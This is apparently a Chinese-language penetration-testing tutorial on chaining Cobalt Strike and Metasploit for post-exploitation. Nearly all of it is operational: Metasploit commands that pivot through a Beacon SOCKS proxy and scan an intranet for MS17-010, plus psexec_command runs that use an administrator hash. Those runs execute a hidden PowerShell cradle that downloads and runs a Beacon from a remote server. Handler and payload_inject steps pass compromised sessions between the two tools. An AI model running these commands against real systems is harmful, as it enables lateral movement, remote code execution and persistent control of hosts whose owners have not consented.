前言
CobalStrike 與 Metasploit 均是滲透利器,各有所長。前者更適合做穩控平台,后者則更擅長內網各類探測搜集與漏洞利用。兩者更需要靈活的聯動,各自相互依托,從而提升滲透的效率。
內置Socks功能
通過Beacon內置的socks功能在VPS上開啟代理端口,打通目標內網通道,之后將本地Metasploit直接帶入目標內網,進行橫向滲透。
當然,也可以把代理設置在其他的工具上,不限於Proxychains、Proxifier等。
首先,到已控目標機的Beacon下將socks代理開啟。
1 |
beacon > socks 1024 #端口根據VPS實際情況進行設置 |
點開菜單欄中的View > Proxy Pivots
,復制代理連接到Metasploit中。
本地啟動Metasploit,掛上代理,就可以對目標內網進行各種探測搜集。如 探測目標內網中存在MS17_010漏洞的主機,這也是內網拿主機權限利用方式之一。
1 |
msf5 > setg Proxies socks4/5:ip:port #讓msf所有模塊的流量都通過此代理走。(setg全局設置) |
2 |
msf5 > setg ReverseAllowProxy true #允許反向代理,通過socks反彈shell,建立雙向通道。(探測可以不設置此項) |
3 |
msf5 > use auxiliary/scanner/smb/smb_ms17_010 |
4 |
msf5 > set rhosts 192.168.144.0/24 |
5 |
msf5 > set threads 100 #內網滲透時線程不要太高! |
6 |
msf5 > run |
利用MSF模塊上線Beacon shell
當通過其它方式拿到了目標內網中某台Windows機器的本地管理員明文密碼或hash時,可利用Metasploit下auxiliary/admin/smb/psexec_command
模塊,直接上線指定目標機器的Beacon shell。(前提目標機可出網)
先利用CobalStrike生成上線Beacon的powershell。
本地啟動Metasploit,掛上代理,設置psexec_command
模塊參數。
1 |
msf5 > setg Proxies socks4/5:ip:port |
2 |
msf5 > use auxiliary/admin/smb/psexec_command |
3 |
msf5 > set rhosts 192.168.144.0/24 |
4 |
msf5 > set threads 10 |
5 |
msf5 > set smbuser administrator |
6 |
msf5 > set smbpass aad3b435b51404eeaad3b435b51404ee:579da618cfbfa85247acf1f800a280a4 #明文、密文均可 |
7 |
msf5 > set command powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://149.28.xx.xx:80/a'))" #上線CS的powershell,目標機存在殺軟需考慮 |
8 |
msf5 > run |
最終,只要密碼一致、 能出網,且未被殺軟阻止的均會成功上線。
CS與MSF會話互傳
CobaltStrike派生Metasploit
當CobaltStrike獲得了一個上線機器,想把這個目標傳給Metasploit中的meterpreter,獲得一個session進行控制。在Metasploit執行以下命令:
1 |
msf5 > use exploit/multi/handler |
2 |
msf5 > set payload windows/meterpreter/reverse_tcp #不要用x64的payload |
3 |
msf5 > set lhost 10.11.42.99 |
4 |
msf5 > set lport 5353 |
5 |
msf5 > run -j |
之后使用CobaltStrike創建一個windows/foreign/reverse_tcp
的Listener。其中IP為Metasploit的監聽地址,端口為Metasploit所監聽的端口。
然后選中計算機,右鍵->Spawn:選擇MSF的監聽器:
這個時候可以看到,Metasploit上的監聽已經上線,現在可以對meterpreter獲得的session進行控制。
Metasploit派生CobaltStrike
現在已經獲得了一個meterpreter的session,把session傳給CobaltStrike。
在CobaltStrike中創建一個監聽者,和上一步類似,這里host需要修改為CobaltStrike客戶端IP,創建好之后便監聽8099端口,等待着被控機連接。
接下來,把meterpreter獲得的session轉交給CobaltStrike,在Metasploit執行以下命令:
1 |
meterpreter > background |
2 |
msf5 > use exploit/windows/local/payload_inject |
3 |
msf5 > set payload windows/meterpreter/reverse_http |
4 |
msf5 > set lhost 192.168.144.174 |
5 |
msf5 > set lport 8099 |
6 |
msf5 > set DisablePayloadHandler true |
7 |
msf5 > set session 1 |
8 |
msf5 > run |
解釋一下這些參數。由於CobaltStrike的監聽器我們使用的是:
windows/beacon_http/reverse_http
所以我們的payload也要使用:
payload windows/meterpreter/reverse_http
設置本地監聽IP和端口:由於監聽器是CobaltStrike的,所以要設置成CobaltStrike機器的IP與端口。
默認情況下,payload_inject執行之后會在本地產生一個新的handler,由於我們已經有了一個,所以不需要在產生一個,這里我們設置:
set DisablePayloadHandler true
設置當前的session,執行run。
此時目標機便已成功從CobaltStrike上線。
總結
關於CobalStrike與Metasploit 的聯動利用方式遠不止這些,每種方式在實戰中都有對應的應用場景,更需要探索與總結。